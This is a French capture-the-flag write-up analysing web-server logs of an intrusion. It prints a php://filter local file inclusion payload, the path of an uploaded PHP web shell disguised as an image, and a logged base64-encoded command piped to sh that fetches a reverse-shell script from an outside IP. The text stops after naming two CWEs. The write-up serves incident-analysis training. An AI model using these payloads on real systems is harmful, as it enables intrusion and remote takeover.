Mission 2 - SOC

Dans cette deuxième mission, on nous fournit des logs sur Kibana pour analyser l’attaque d’un membre de NullVastation. Pour trouver le drapeau, il faudra concaténer :

• Les CWE exploitées par l’attaquant.
• L’adresse du serveur d’exfiltration utilisé par l’attaquant.
• le chemin du fichier utilisé pour rendre l’exploit permanent.

Local File Inclusion

On observe un pic d’activité, ce pic s’apparente à du fuzzing : l’attaquant essaye de truver une vulnérabilité dans le système. On peut supposer qu’à la fin de ce pic l’attaquant va exploiter la faille. On trouve alors la première exploitation :

/?lang=php://filter/read=convert.base64-encode&page=resource=db/connect

L’attaquant arrive ici à lire les informations de connexion et s’authentifie peu après sur la page d’administration.

Telechargement d’un reverse shell

Après s’être authentifié, l’attaquant va téléverser du code php ev1L.php.png pour pouvoir exécuter des commandes sur la machine :

/admin-page/manage.php?success=true&path=upload/68af9111db3749e2e8af39e255fd874c/ev1L.php.png

il va en suite télécharger un reverse shell via ce même script :

10.143.17.101 - - [28/Mar/2025:00:32:16 +0100] "GET /admin-page/upload/68af9111db3749e2e8af39e255fd874c/ev1L.php.png?cmd=echo+'d2dldCBodHRwOi8vMTYzLjE3Mi42Ny4yMDE6NDk5OTkvczFtcGwzLXIzdnNoM2xsLXZwcy5zaA=='|base64+-d|sh HTTP/1.1" 200 2144 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"

Sachant qu’en base64 :

d2dldCBodHRwOi8vMTYzLjE3Mi42Ny4yMDE6NDk5OTkvczFtcGwzLXIzdnNoM2xsLXZwcy5zaA==
http://163.172.67.201:49999/s1mpl3-r3vsh3ll-vps.sh

On a alors tous nos éléments pour former notre drapeau :

• CWE-98 : Improper Control of Filename
• CWE-434 : Unrestricted Upload of File